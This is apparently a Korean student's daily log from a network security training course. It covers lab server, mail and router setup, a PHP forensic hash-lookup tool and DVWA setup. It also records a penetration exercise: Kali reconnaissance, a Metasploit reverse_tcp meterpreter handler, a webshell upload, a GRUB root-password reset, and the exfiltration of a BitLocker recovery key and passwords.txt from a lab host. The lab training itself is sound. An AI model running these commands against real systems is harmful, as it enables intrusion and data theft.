왜 mail.victim.kr로 찾아봐?
우리는 IP001의 존재를 모른다
Address: 125.246.95.152
Server에서 올바르게 인도해주자
sudo nano /etc/hosts
172.16.0.1 IP001.victim.kr IP001 server mail
sudo nano /etc/mail/local-host-names
localhost
IP001.victim.kr
mail.victim.kr
다시 Evolution으로 접속을 시도해보면?
이메일이 불러와진다
새 메일 > payload2를 첨부해서 보내보면?
정상적으로 전송이 된다!
관리자(window) 세팅
관리자 역할을 해줄 윈도우(Manager) 설치
window Pro >
사용자 지정
기본 프로그램 설치
xshell
thunderbird
workbench
kali에서 상대방을 스캔해보기
kali에서 메일을 보내면 관리자는 메일을 받을 수 있다
kali가 악성코드를 보내면 관리자는 메일을 읽으면서 악성 코드를 받는다
가 시나리오
오늘 한 일
내일 할 일
2026-07-11
공개되는 웹 페이지에 포렌식 기능, 보안 추가하기
›
무결성 검증을 위한 해시값 찾기
순정 윈도우를 만들어서 추출해오자
왜? 윈도우가 오염되었을때 순정이 있어야 비교를 할 것 아니냐?
홈페이지에 파일을 검색해서 나오면 이상 없음
나오지 않으면 원레 없던 파일이 추가됨 이런식으로 나올 수 있도록
홈페이지에 윈도우, 리눅스 순정파일 분석기 생성<?php namespace App\Controllers; use App\Models\ForensicModel; use CodeIgniter\HTTP\RequestInterface; use CodeIgniter\HTTP\ResponseInterface; use Psr\Log\LoggerInterface; class Forensics extends BaseController { // 🛡️ [수정] initController 대신 확실하게 실행을 차단하는 _remap 메소드 도입 public function _remap($method, ...$params) { // 1. 코어 서비스에서 세션 인스턴스를 확실하게 로드 $session = \Config\Services::session(); // 2. 브라우저 캐시 방지 헤더 설정 $this->response->setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0'); $this->response->setHeader('Pragma', 'no-cache'); // 💡 3. 로그인 세션 검사 (true가 아니면 하단 메소드 실행 안 하고 즉시 튕김) if ($session->get('isLoggedIn') !== true) { return redirect()->to(site_url('login'))->with('error', '로그인이 필요한 서비스입니다.'); } // 4. 로그인된 사용자라면 원래 요청했던 메소드(windows, linux 등)를 정상 실행 if (method_exists($this, $method)) { return $this->$method(...$params); } // 없는 페이지 요청 시 404 에러 처리 throw \CodeIgniter\Exceptions\PageNotFoundException::forPageNotFound(); } public function windows() { $model = new ForensicModel(); $search = $this->request->getGet('search') ?? ''; if (!empty($search)) { // 글자 수가 32글자(MD5)나 40글자(SHA1)면 완벽히 일치하는 인덱스 검색(where)을 수행 if (strlen($search) === 32) { $model->where('md5', $search); } elseif (strlen($search) === 40) { $model->where('sha1', $search); } else { // 일반 검색어는 경로명 내 와일드카드 검색 수행 $model->like('file_name', $search); } } $totalCount = $model->countAllResults(false); $data = [ 'records' => $model->paginate(20, 'default'), // 그 후 페이징 처리 'pager' => $model->pager, 'totalCount' => $totalCount, // 미리 구해둔 정확한 카운트 전달 'search' => $search ]; return view('forensics/windows', $data); } public function linux(): string { // 1. 모델 인스턴스 생성 $model = new ForensicModel(); // 💡 [핵심] 기존 모델의 기본 테이블을 리눅스용 'ubuntu2404' 테이블로 런타임 스위칭! $model->setTable('ubuntu2404'); // 2. 검색어 획득 및 널(Null) 세이프 처리 $search = $this->request->getGet('search') ?? ''; if (!empty($search)) { // 글자 수가 32글자(MD5)나 40글자(SHA1)면 인덱스를 타는 정확한 매칭(where) 수행 if (strlen($search) === 32) { $model->where('md5', $search); } elseif (strlen($search) === 40) { $model->where('sha1', $search); } else { // 일반 단어나 경로 검색 시 와일드카드 like 검색 수행 $model->like('file_name', $search); } } // 3. 뷰(View)로 넘겨줄 데이터 패킹 $totalCount = $model->countAllResults(false); $data = [ 'records' => $model->paginate(20, 'default'), 'pager' => $model->pager, 'totalCount' => $totalCount, 'search' => $search ]; // 4. 완성된 리눅스 전용 뷰 렌더링 return view('forensics/linux', $data); } public function check() { $bulkText = $this->request->getPost('bulk_hashes') ?? ''; if (empty(trim($bulkText))) { return redirect()->to('/forensics/windows'); } // 1. 정규식을 이용해 텍스트 내부에서 32글자(MD5) 또는 40글자(SHA1) 규격의 해시만 정밀 추출 preg_match_all('/[a-fA-F0-9]{32,40}/', $bulkText, $matches); // 중복 제거 및 소문자 통일 $inputHashes = array_unique(array_map('strtolower', $matches[0] ?? [])); $results = []; if (!empty($inputHashes)) { // 테이블 이름 매핑 수정 사항이 반영된 ForensicModel 로드 $model = new \App\Models\ForensicModel(); // 2. 대량 조회를 위한 WhereIn 묶음 쿼리 빌드 (속도 최적화의 핵심) $dbRecords = $model->groupStart() ->whereIn('md5', $inputHashes) ->orWhereIn('sha1', $inputHashes) ->groupEnd() ->findAll(); // 3. O(1) 탐색을 위해 DB 조회 결과를 키-값 해시맵 구조로 재배열 $indexedRecords = []; foreach ($dbRecords as $row) { $indexedRecords[$row['md5']] = $row['file_name']; $indexedRecords[$row['sha1']] = $row['file_name']; } // 4. 분석가가 입력했던 해시 순서 그대로 Known / Unknown 판정 루프 실행 foreach ($inputHashes as $hash) { if (isset($indexedRecords[$hash])) { // 검증 성공 시 앞서 만든 안전한 explode 기반 경로 쪼개기 실행 $parts = explode('\\', $indexedRecords[$hash]); $partitionInfo = "Partition Unknown"; $cleanPath = $indexedRecords[$hash]; if (count($parts) >= 4) { $fsInfo = str_replace("NONAME ", "", $parts[2]); $partitionInfo = $parts[1] . " (" . $fsInfo . ")"; $cleanPath = implode('\\', array_slice($parts, 3)); } $results[] = [ 'input_hash' => $hash, 'status' => 'Known', 'file_info' => ['partition' => $partitionInfo, 'path' => $cleanPath] ]; } else { // DB에 매칭되는 해시가 없는 경우 (잠재적 분석 대상) $results[] = [ 'input_hash' => $hash, 'status' => 'Unknown', 'file_info' => null ]; } } } return view('forensics/bulk_result', ['results' => $results]); } public function checkLinux() { $bulkText = $this->request->getPost('bulk_hashes') ?? ''; if (empty(trim($bulkText))) { return redirect()->to('/forensics/linux'); } // 1. 정규식을 이용해 텍스트 내부에서 32글자(MD5) 또는 40글자(SHA1) 규격의 해시만 추출 preg_match_all('/[a-fA-F0-9]{32,40}/', $bulkText, $matches); // 중복 제거 및 소문자 통일 $inputHashes = array_unique(array_map('strtolower', $matches[0] ?? [])); $results = []; if (!empty($inputHashes)) { $model = new \App\Models\ForensicModel(); // 💡 [핵심] 리눅스 대조를 위해 대상 테이블을 'ubuntu2404'로 강제 스위칭 $model->setTable('ubuntu2404'); // 2. 대량 조회를 위한 WhereIn 묶음 쿼리 빌드 $dbRecords = $model->groupStart() ->whereIn('md5', $inputHashes) ->orWhereIn('sha1', $inputHashes) ->groupEnd() ->findAll(); // 3. O(1) 탐색을 위한 해시맵 구조 재배열 $indexedRecords = []; foreach ($dbRecords as $row) { $indexedRecords[$row['md5']] = $row['file_name']; $indexedRecords[$row['sha1']] = $row['file_name']; } // 4. 리눅스 경로 파싱 특화 루프 실행 foreach ($inputHashes as $hash) { if (isset($indexedRecords[$hash])) { // 💡 리눅스 스타일로 경로 쪼개기 및 슬래시(/) 치환 $parts = explode('\\', $indexedRecords[$hash]); $partitionInfo = "Partition Unknown"; $cleanPath = $indexedRecords[$hash]; if (count($parts) >= 4) { $fsInfo = str_replace("NONAME ", "", $parts[2]); $partitionInfo = $parts[1] . " (" . $fsInfo . ")"; // 리눅스 본연의 절대 경로 형태로 조립 (/) $cleanPath = '/' . implode('/', array_slice($parts, 3)); } $results[] = [ 'input_hash' => $hash, 'status' => 'Known', 'file_info' => ['partition' => $partitionInfo, 'path' => $cleanPath] ]; } else { // DB에 매칭되는 해시가 없는 경우 (잠재적 악성코드 또는 변형 파일) $results[] = [ 'input_hash' => $hash, 'status' => 'Unknown', 'file_info' => null ]; } } } // 5. 결과를 출력할 뷰 렌더링 (리눅스 전용 결과 뷰로 토스) return view('forensics/bulk_result_linux', ['results' => $results]); } }
정보 수집
퀴즈
1) 192.168.0.54 서버의 사용자들은 누구인가?
cat /etc/passwd
cd /
cake ci4 dvwa gnu laravel master word xpress
2) http로 접속하기 위한 호스트와 도메인은 무엇인가?
힌트 : apache2
cat /etc/apache2/sites-available/hosting.conf
dvwa 취약서버 만들기
http://dvwa.victim.kr
DVWA System error - config file not found. Copy config/config.inc.php.dist to config/config.inc.php and configure to your environment.
cd public_html/DVWA_master/config
nano config.inc.php
DB가 없어서 접속이 되지 않는다 만들어주자CREATE TABLE users ( user_id int(6), first_name varchar(15), last_name varchar(15), user varchar(15), password varchar(32), avatar varchar(70), last_login TIMESTAMP, failed_login INT(3), PRIMARY KEY (user_id) ); INSERT INTO users VALUES ('1','admin','admin','admin',MD5('password'),'{$avatarUrl}admin.jpg', NOW(), '0'), ('2','Gordon','Brown','gordonb',MD5('abc123'),'{$avatarUrl}gordonb.jpg', NOW(), '0'), ('3','Hack','Me','1337',MD5('charley'),'{$avatarUrl}1337.jpg', NOW(), '0'), ('4','Pablo','Picasso','pablo',MD5('letmein'),'{$avatarUrl}pablo.jpg', NOW(), '0'), ('5','Bob','Smith','smithy',MD5('password'),'{$avatarUrl}smithy.jpg', NOW(), '0');
만약 로그인을 계속 실패한다면?
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in 15 minutes.
이런 메시지가 나온다
오늘 한 일
웹 페이지에 포렌식 기능 만들기
내일 할 일
2026-07-13
물리 장비 연결
›
실제 환경에서 세팅하기
먼저 GNS를 사용하여 실습 환경 세팅#R1 conf t int fa 0/0 ip address 125.246.95.254 255.255.255.0 !라우터와 Eth으로 연결된 대역대의 G/W, SUB no shut exit int se 1/0 ip addr 1.1.1.1 255.255.255.252 ! 지정한 포트가 받을 대역대의 IP와 S/M no shutdown end conf t router ospf 1 router-id 1.1.1.1 network 125.246.95.0 0.0.0.255 area 0 ! 라우터와 연결된 대역대와 W/M network 1.1.1.0 0.0.0.3 area 0 ! 라우터와 연결된 대역대와 W/M #R2 conf t int fa 0/0 ip address 100.100.100.254 255.255.255.0 !라우터와 Eth으로 연결된 대역대의 G/W, SUB no shut exit int se 1/1 ip addr 1.1.1.2 255.255.255.252 ! 지정한 포트가 받을 대역대의 IP와 S/M no shutdown end conf t router ospf 1 router-id 2.2.2.2 network 100.100.100.0 0.0.0.255 area 0 ! 라우터와 연결된 대역대와 W/M network 1.1.1.0 0.0.0.3 area 0 ! 라우터와 연결된 대역대와 W/M
실제 장비를 사용하여 세팅해보기
먼저 LAN선 제작하기
Router간 연결해야 하니까 크로스 케이블로
Router (1700, 1800)설정
Hacker(R1, 1700)Would you like to enter the initial configuration dialog? [yes/no]: no enable show ip interface brief configure terminal hostname HACKER interface FastEthernet0 ip address 100.100.100.254 255.255.255.0 no shutdown exit interface Serial0 ip address 10.10.10.1 255.255.255.252 clock rate 64000 no shutdown exit ip routing router ospf 1 router-id 10.10.10.1 network 10.10.10.0 0.0.0.3 area 0 network 100.100.100.0 0.0.0.255 area 0 exit end ! clear ip ospf process show ip interface brief show ip route
Victim (R2,1800)Would you like to enter the initial configuration dialog? [yes/no]: no enable show ip interface brief configure terminal hostname VICTIM interface FastEthernet0/0 ip address 125.246.95.254 255.255.255.0 no shutdown exit interface serial 0/0/0 ip address 10.10.10.2 255.255.255.252 no shutdown exit ip routing router ospf 1 router-id 10.10.10.2 network 10.10.10.0 0.0.0.3 area 0 network 125.246.95.0 0.0.0.255 area 0 exit end !clear ip ospf process show ip interface brief show ip route
show ip brief로 포트를 절대 확인해
네트워크가 늦어지면 모두가 늦어진다
오늘 한 일
물리적 장비 연결하기 (Router)
내일 할 일
더 잘 구성해보기
2026-07-14
라우터 설정 2차
›
다시 라우터 설정하기
라우터와 콘솔 물리적 연결 확인
장치 관리자에서 연결된 포트 확인
Putty등 외부 tool을 사용해 Serial을 통해 접속
Would you like to enter the initial configuration dialog? [yes/no]:
위와 같은 문구가 나오면 no 입력
R1800show ip interface brief show controllers serial 0/0/0 DCE, DTE 구분 DCE일경우 clock rate 64000 추가 config terminal hostname VICTIM exit config terminal interface FastEthernet0/0 ip address 125.246.95.254 255.255.255.0 no shut exit configure terminal Interface Serial0/0/0 ip addr 10.10.10.1 255.255.255.252 no shutdown end configure terminal router ospf 1 router-id 1.1.1.1 network 125.246.95.0 0.0.0.255 area 0 network 10.10.10.0 0.0.0.3 area 0
R1700show ip interface brief show controllers serial 0 DCE, DTE 구분 DCE일경우 clock rate 64000 추가 configure terminal hostname HACKER configure terminal interface FastEthernet 0 ip address 192.168.2.254 255.255.255.0 no shut exit interface Serial0 ip addr 10.10.10.2 255.255.255.252 no shutdown end configure terminal router ospf 1 router-id 2.2.2.2 network 192.168.0.0 0.0.0.255 area 0 network 10.10.10.0 0.0.0.3 area 0라우터의 정보를 확인하려면?show memory show processes cpu show interfaces show arp show ip route show ip interface brief show startup-config
나중에 여유 있을때 알아보고 설정해보기show ip interface brief config t hostname VICTIM enable secret p@ssw0rd!@123 line console 0 password Console123! login exit service password-encryption interface gigabitEthernet0/0 ip address 125.246.95.254 255.255.255.0 no shutdown exit show memory show processes cpu show interfaces show arp show ip route show ip interface brief show startup-config show controllers serial 0/0 Interface Serial0/0 Hardware is PowerQUICC MPC860 enable configure terminal hostname R1800 interface Serial0/0 ip address 10.10.10.1 255.255.255.252 clock rate 64000 no shutdown exit R1(config)# ip domain-name example.local R1(config)# username admin privilege 15 secret p@ssw0rd!@123 line vty 0 4 transport input telnet login local exit ip ssh version 2
절대 라우터 연결할때 설정뿐만이 아니라
물리적 연결도 제대로 되어있는지 체크해
3대 암호 초기화
네트워크
시스템
데이터베이스
오늘 한 일
라우터 설정하기
EndDevice간 통신 가능하게 하기
내일 할 일
공격하기
2026-07-15
GNS를 이용한 가상사설망으로 공격하기
›
GNS안에서 네트워크 구축(교수님 COM)
가상망 라우터 설정#R1 config t interface fastethernet 0/0 ip address 192.168.0.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 1.1.1.1 255.255.255.0 no shutdown exit int se 1/1 ip addr 3.3.3.2 255.255.255.0 no shutdown end conf t router ospf 1 router-id 1.1.1.1 network 192.168.0.0 0.0.0.255 area 0 network 1.1.1.0 0.0.0.255 area 0 network 3.3.3.0 0.0.0.255 area 0 end #R2 config t interface fastethernet 0/0 ip address 125.246.95.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 2.2.2.1 255.255.255.0 no shutdown exit int se 1/1 ip addr 1.1.1.2 255.255.255.0 no shutdown end conf t router ospf 1 router-id 2.2.2.2 network 125.246.95.0 0.0.0.255 area 0 network 1.1.1.0 0.0.0.255 area 0 network 2.2.2.0 0.0.0.255 area 0 end #R3 config t interface fastethernet 0/0 ip address 168.126.63.254 255.255.255.0 no shutdown exit int se 1/0 ip addr 3.3.3.1 255.255.255.0 no shutdown exit int se 1/1 ip addr 2.2.2.2 255.255.255.0 no shutdown end conf t router ospf 1 router-id 3.3.3.3 network 168.126.63.0 0.0.0.255 area 0 network 2.2.2.0 0.0.0.255 area 0 network 3.3.3.0 0.0.0.255 area 0 end
GNS안에서도 절대 물리적 연결을 확인할 것
공격을 위한 정보수집
GNS의 Cloude 기능을 통하여 하나의 GNS로 단체 접속 하기
Kali 준비
기존의 GateWay(.1)를 .254로 바꿔주자
ping 1.1.1.2
GNS에 원격으로 연결이 되었으면
칼리에서 정보수집을 하기!
ping 168.126.63.1
ping 125.246.95.254
nmap -sn 125.246.95.0/24
dnsenum victim.kr
nmap -p 21,22,23,25,53,80,110,143,443,45,3306,3389 125.246.95.100PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp filtered telnet 25/tcp open smtp 45/tcp filtered mpm 53/tcp open domain 80/tcp open http 110/tcp open pop3 143/tcp open imap 443/tcp filtered https 3306/tcp filtered mysql 3389/tcp filtered ms-wbt-server
공격에 취약한 이유는? 접속 가능한 서비스기 때문
kali에서 dvwa.victim.kr, gnu.victim.kr, xpress.victim.kr 웹에 접속되도록 띄우기
Windows에서 Autoattack실행 후 Kali에서 다시 실행
Autoattack 기능 추가하기
nikto
nikto -host victim.kr
시나리오
웹 어플리케이션 서버는 사람이 만들기 때문에 위험하다
웹 공격
무차별 대입 공격 > 로그인 > 시간 + 횟수로 막아주기
21,22,80 로그인 가능 = 아이디와 비밀번호만 있으면 접속 가능
암호 인증에 성공하면 방어자는 키 인증 방식으로 바꾼다
그럼 해커는 키를 탈취
업로드 공격
해커는 어딘가에 악성코드를 만들어야 한다
제일 쉬운 방법 = 메일로 만들어서 보내기
업로드를 통해서도 가능하다 (webshell.php)
webshell을 이용해서 사용자를 알아낼 수 있다
100서버의 사용자가 몇명인지 찾기
웹 스캔은 dirbuster
어떤 파일이 있는지 알 수 있다
1. 정보수집
2. 포트
3. 공격
오늘 한 일
Kali에서 정보수집
내일 할 일
공격및 방어를 나눠 모의침투
2026-07-16
모의 침투 실습
›
모의침투 연습
오전 - 수비, 공격 나눠서 실습 진행
서버에서 확인해 봤더니 누군가 FTP Login을 계속 시도한 것을 확인
OK FTP Login이 나오고 shell.php등이 서버에 업로드 됨
상황 종료
Payload를 이용한 서버 침투
systemctl start apache2
NAT : 포트포워딩
방어자가 공격자의 웹에 접속해서 파일을 받아가게끔 설계sudo nano /etc/apache2/sites-available/hosting.conf <VirtualHost *:80> DocumentRoot /home/kali/public_html ServerName yg.kr ServerAdmin webmaster@yg.kr ErrorLog /home/kali/public_html/logs/error.log CustomLog /home/kali/public_html/logs/access.log combined </VirtualHost>
sudo a2ensite hosting.conf
sudo a2dissite 000-default.conf
sudo a2enmod userdir
sudo systemctl restart apache2
msfconsole에서 확인
오늘 한 일
모의 침투 연습
내일 할 일
payload의 추가 실습
2026-07-17
암호 변경과 Payload
›
3대 암호중 시스템 암호 변경
오늘 아침에 확인해보니 서버의 Passwd가 맞지 않는다
어쩔 수 없이 암호를 변경해야 할 듯
3대 암호 변경하기
네트워크 초기화
시스템 초기화
Ubuntu를 재시동해주면 boot 화면으로 진입 가능
이것이 GNS GRUB
linux 부분의 마지막 부분 ro를
rw init=/bin/bash 로 변경
ctrl + x 로 부팅 시작
passwd master
654321
reboot -f
하인리히(1:29:300) 법칙
그것은 1명의 심각한 인명사고가 발생하기 전에 29번의 경상자가 발생했고, 같은 원인으로 다칠 뻔한 잠재적인 부상자가 300명 있었다는 사실
patload
payload 준비
윈도우 방화벽 내리기
port 4444로 포트포워딩
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 100.100.100.205
set LPORT 4444
exploit
download [타깃의_파일패스] [Kali의_저장경로]
[*] Sending stage (199238 bytes) to 125.246.95.152
[*] Meterpreter session 2 opened (10.0.2.15:4444 -> 125.246.95.152:49219) at 2026-07-16 22:59:04 -0400
으로 출력되면 상대방이 나의 컴으로 들어온것이다
사용 가능한 명령어
ls
pwd
download
upload
cat
sysinfo
getuid
getsystem
ps
shell
screenshare
search
Q1. BitLocker 드라이브의 볼륨 이름은 무엇인가?
A1. F 드라이브
Why? F드라이브만 [-] stdapi_fs_chdir: Operation failed: 2150694935 메시지와 함께 접근이 되지 않음
Q2. BitLocker 복구키를 찾아라
A2. BitLocker 드라이브 암호화 복구 키
복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.
이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.
복구 키 ID: FADEA922-53C6-45
전체 복구 키 ID: FADEA922-53C6-455F-901A-A0D17B0B36ED
BitLocker 복구 키:
585486-401511-706695-046189-688611-478577-176979-441584
Why? search -f bitlocker로 검색했을 때
Found 1 result...
=================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
C:\Users\Manager\Desktop\BitLocker ������ ��� FADEA922-53C6-455F-901A-A0D17B0B36ED.txt 570 2026-07-17 01:07:42 -0400
이렇게 나와서 접근
Q3. passwords.txt를 찾아서 유출시켜라!
A3. G://hidden/passwords.txt를 다운로드 후 웹에 업로드
Why? search -f passwords.txt로 검색했을 때
Found 2 results...
==================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
g:\hidden\passwords.txt 10000 2026-07-15 22:47:12 -0400
z:\passwords.txt 10000 2026-07-15 22:47:12 -0400
이렇게 나옴
download passwords.txt /home/kali 로 kali에 받아온 다음
index.html에 업로드
오늘 한 일
내일 할 일
2026-07-18
웹 페이지 보강
›
내용
내용을 입력해주세요
오늘 한 일
내일 할 일
2026-07-20
지금까지 했던 내용들 점검하기
›
시나리오
전주컴에 서버 담당자로 취직해버렸다
프로젝트를 위해 작업을 하자
외부 IP: 192.168.0.205 내부 IP: 10.0.2.XXX (NAT 네트워크)
도메인 : yg.kr 포트 : 21,22,23,25,53,80,110,143,443,445,516,3306,3389,9200,2049
1. ubuntu 24.04설치
2. 사용자 지정 (master)
3. /etc/skel에 디렉토리 추가
sudo mkdir public_html
cd public_html
sudo mkdir logs
sudo touch index.html
cd logs
sudo touch access.log
sudo touch error.log
4. 사용자 등록 (dvwa,word,gnu)
sudo adduser dvwa
sudo adduser word
sudo adduser gnu
5. 웹 사이트를 위해 apm설치 후 설정
sudo apt -y install lamp-server^
cd /etc/apache2/sites-available/
sudo nano hosting.conf
<VirtualHost *:80>
DocumentRoot /home/master/public_html
ServerName yg.kr
ServerAdmin webmaster@yg.kr
ErrorLog /home/master/public_html/logs/error.log
CustomLog /home/master/public_html/logs/access.log combined
</VirtualHost>
<VirtualHost *:80>
DocumentRoot /home/dvwa/public_html
ServerName dvwa.yg.kr
ServerAdmin webmaster@dvwa.yg.kr
ErrorLog /home/dvwa/public_html/logs/error.log
CustomLog /home/dvwa/public_html/logs/access.log combined
</VirtualHost>
<VirtualHost *:80>
DocumentRoot /home/gnu/public_html
ServerName gnu.yg.kr
ServerAdmin webmaster@gnu.yg.kr
ErrorLog /home/gnu/public_html/logs/error.log
CustomLog /home/gnu/public_html/logs/access.log combined
</VirtualHost>
sudo a2ensite hosting
sudo a2dissite 000-default
sudo systemctl restart apache2
sudo a2enmod userdir
chmod 711 /home/master
chmod 755 /home/master/public_html
sudo chmod 711 /home/dvwa
sudo chmod 755 /home/dvwa/public_html
sudo chmod 711 /home/gnu
sudo chmod 755 /home/gnu/public_html
6. 도메인 설치 후 설정
sudo apt -y install bind9 bind9utils
nano /etc/bind/named.conf.options
dnssec-validatation no;
recursion yes;
allow-query { any; };
sudo systemctl restart named
sudo nano /etc/bind/named.conf.default-zones
zone "yg.kr" {
type master;
file "/etc/bind/yg.kr.zone";
};
sudo systemctl start named
sudo cp db.local yg.kr.zone
@ IN NS ns.yg.kr.
@ IN A 192.168.0.205
@ IN AAAA ::1
ns IN A 192.168.0.205
www IN A 192.168.0.205
* IN A 192.168.0.205
sudo systemctl restart named
7. 이메일 설치 후 설정
Sendmail(보내는 메일서버) 세팅
sudo nano /etc/hosts
10.0.2.101 IP001.victim.kr IP001 #변경
sudo nano /etc/mail/local-host-names
IP001.victim.kr #변경
sudo nano /etc/mail/sendmail.cf
Cwlocalhost 부분을 Cwvictim.kr로 변경
O DaemonPortOptions=Family=inet, Name=MTA-v4, Port=smtp #Addr=127.0.0.1을 삭제
O DaemonPortOptions=Family=inet, Name=MSP-v4, Port=submission, M=Ea #Addr=127.0.0.1을 삭제
sudo nano /etc/mail/access
10.0.2 RELAY #추가
victim.kr RELAY #추가
sudo su
makemap hash /etc/mail/access < /etc/mail/access
exit
Dovecot(받는 메일서버) 세팅
sudo nano /etc/dovecot/dovecot.conf
listen = *, :: #주석해제
base_dir = /var/run/dovecot/ #주석해제
disable_plaintext_auth = no #추가
sudo nano /etc/dovecot/conf.d/10-mail.conf
mail_access_groups = mail #주석 해제
lock_method = fcntl #주석 해제
8. 삼바 설치 후 설정
8.1. 서버에서 작업
sudo apt -y install samba (파일공유, Port : 445 )
netstat -ant | grep 445
sudo nano /etc/samba/smb.conf
workgroup = WORKGROUP #Window Group 이름과 맞춰줌
unix_charset = UTF-8
interfaces = 10.0.2.0/24 eth0
map to guest = Bad User
[master]
comment = master
browseable = yes
path = /home/master/public_html
writable = yes
guest ok = no
create mask = 0777
directory mode = 0777
valid users = @sambaGroup
설정을 바꿔준 후 구문검사를 하고싶으면
testparm
sudo groupadd sambaGroup
sudo usermod -a -G sambaGroup master
sudo smbpasswd -a master
sudo systemctl restart smbd
sudo systemctl enable smbd
8.2. 클라이언트에서 작업
sudo apt install -y smbclient
smbclient //10.0.2.101/master -U master
9. NFS설치 후 설정
9.1. 서버에서 작업
sudo apt -y install nfs-kernel-server
sudo nano /etc/exports
/share 10.0.2.102/24(rw,sync) #상대방이 접근 할 경로
#/home/master/public_html 10.0.2.8 (rw)
#/home/master/public_html 10.0.2.8/24 (rw,sync)
sudo systemctl restart nfs-server
sudo ufw disable
sudo nano /etc/hosts.allow
mountd : 10.0.2.102
rpcbind :10.0.2.102
sudo mkdir /share
sudo chmod 777 /share
sudo exportfs -v 로 받을 준비가 되었는지 확인
sudo apt -y install nfs-common
sudo mkdir /share
chmod 777 /share
sudo showmount -e 10.0.2.101
sudo mount -t nfs 10.0.2.101:/share /share
10. 쿼터 설정
11. 하드디스크 추가 (1G,2G,3G,5G)
sudo pvcreate /dev/sdb /dev/sdc /dev/sdd
sudo pvs
sudo vgcreate vg_data /dev/sdb /dev/sdc /dev/sdd
sudo vgs
sudo lvcreate -l 100%FREE -n lv_storage vg_data
sudo lvs
sudo mkfs.ext4 /dev/vg_data/lv_storage
sudo mount /dev/vg_data/lv_storage /home
df -h로 마운트 되었는지 확인
lsblk로 전체 파티션 확인
12. 사용자별 1G 할당
sudo nano /etc/fstab
/dev/vg_data/lv_storage /home ext4 defaults,usrquota 0 2
sudo systemctl daemon-reload
sudo mount -o remount /home
sudo apt install quota -y
sudo quotacheck -cum /home
sudo quotaon -v /home
sudo setquota -u dvwa 1048576 1048576 0 0 /home
sudo setquota -u word 1048576 1048576 0 0 /home
sudo setquota -u gnu 1048576 1048576 0 0 /home
sudo repquota -vs /home
13. Rsyslog 활성화
sudo apt -y install rsyslog
sudo nano /etc/rsyslog.conf
# provides TCP syslog reception
module(load="imtcp")
input(type="imtcp" port="514")
수정 후 저장
sudo systemctl restart rsyslog
sudo systemctl enable rsyslog
14. Backup 활성화
nano backup.sh
#!/bin/bash
# ===== 설정 =====
SOURCE_DIR="/home/master/public_html" # 백업할 디렉터리
BACKUP_DIR="/backup" # 백업 저장 위치
RETENTION_DAYS=30 # 보관 기간(일)
# ===== 변수 =====
DATE=$(date +"%Y-%m-%d_%H-%M-%S")
BACKUP_FILE="$BACKUP_DIR/backup_$DATE.tar.gz"
# ===== 백업 디렉터리 생성 =====
mkdir -p "$BACKUP_DIR"
# ===== 백업 수행 =====
echo "[$(date)] 백업 시작"
tar -czf "$BACKUP_FILE" "$SOURCE_DIR"
if [ $? -eq 0 ]; then
echo "[$(date)] 백업 성공: $BACKUP_FILE"
else
echo "[$(date)] 백업 실패"
exit 1
fi
#
# ===== 오래된 백업 삭제 =====
find "$BACKUP_DIR" -name "backup_*.tar.gz" -type f -mtime +$RETENTION_DAYS -delete
echo "[$(date)] 오래된 백업 정리 완료"
echo "[$(date)] 작업 종료"
chmod 777 backup.sh
sudo ./backup.sh
sudo timedatectl set-timezone Asia/Seoul
sudo nano /etc/crontab
0 2 * * * root /home/master/backup.sh
sudo systemctl restart cron
15. tcpwrapper 활성화
host.allow
host.deny
16. 백업서버구성 및 파일 전송
16.1. 클라이언트에서 작업
sudo mkdir -p /backup
sudo chmod 777 /backup
sudo nano /etc/rsyncd.conf
pid file = /var/run/rsyncd.pid
lock file = /var/run/rsync.lock
log file = /var/log/rsyncd.log
[master]
path = /backup
comment = Master Server Backup Area
uid = root
gid = root
read only = no
hosts allow = 10.0.2.101
sudo systemctl enable --now rsync
sudo systemctl stop ufw
16.2. 서버에서 작업
sudo touch /etc/rsyncd_exclude.lst
10 2 * * * rsync -avz --exclude-from=/etc/rsync_exclude.lst /backup/ 10.0.2.102::master >> /var/log/rsync.log 2>&1
17. 네트워크 설정 및 연결
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses: [10.0.2.101/24]
gateway4: 10.0.2.1
nameservers:
addresses: [192.168.0.99, 168.126.63.1]
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses: [10.0.2.102/24]
gateway4: 10.0.2.1
nameservers:
addresses: [192.168.0.99, 168.126.63.1]
오늘 한 일
전주컴 서버 담당자가 되어 프로젝트 구축하기
내일 할 일
이어서 구축하기
2026-07-21
보안 점검과 LUKS를 이용한 디스크 암호화
›
프로젝트를 위한 서버 작업 이어서 하기
18. Lynis로 보안 설정 점검
sudo apt update
sudo apt install lynis -y
sudo lynis audit system
sudo cat /var/log/lynis.log
19. Chkrootkit으로 침입흔적 점검
sudo apt install chkrootkit -y
sudo chkrootkit # 전체 검사
sudo chkrootkit -q # 경고/의심 항목만 요약 출력
LUKS를 이용한 디스크 암호화
sudo apt install cryptsetup -ysource ~/.bashrc
sudo cryptsetup luksFormat /dev/sdb
sudo cryptsetup open /dev/sdb secure_data
sudo mkfs.ext4 /dev/mapper/secure_data
sudo adduser secure
sudo mount /dev/mapper/secure_data /home/secure
sudo umount /home/secure
sudo cryptsetup close secure_data
nano ~/.bashrc
alias secure-open='sudo cryptsetup open /dev/sdb secure_data && sudo mount /dev/mapper/secure_data /home/secure'
alias secure-close='sudo umount /home/secure && sudo cryptsetup close secure_data'
151번 문제 분석
home에 사용자가 없다
/var/log에 가서 보니가 apk 가 있다
확인해보니 alpinelinux라는것을 알 수 있었다
alpinelinux 다운로드
실행시켜보니 사용자를 먼저 생성해주지 않는다
아 그럼 root에 저장되어 있으려나?
root로 이동하자
/root/root로 가보니 vault.img가 있다
파일 시그니쳐를 확인해보니 LUKS라고 시그니쳐가 잡혀 있다
암호화 된 걸 풀어보자
cd ~
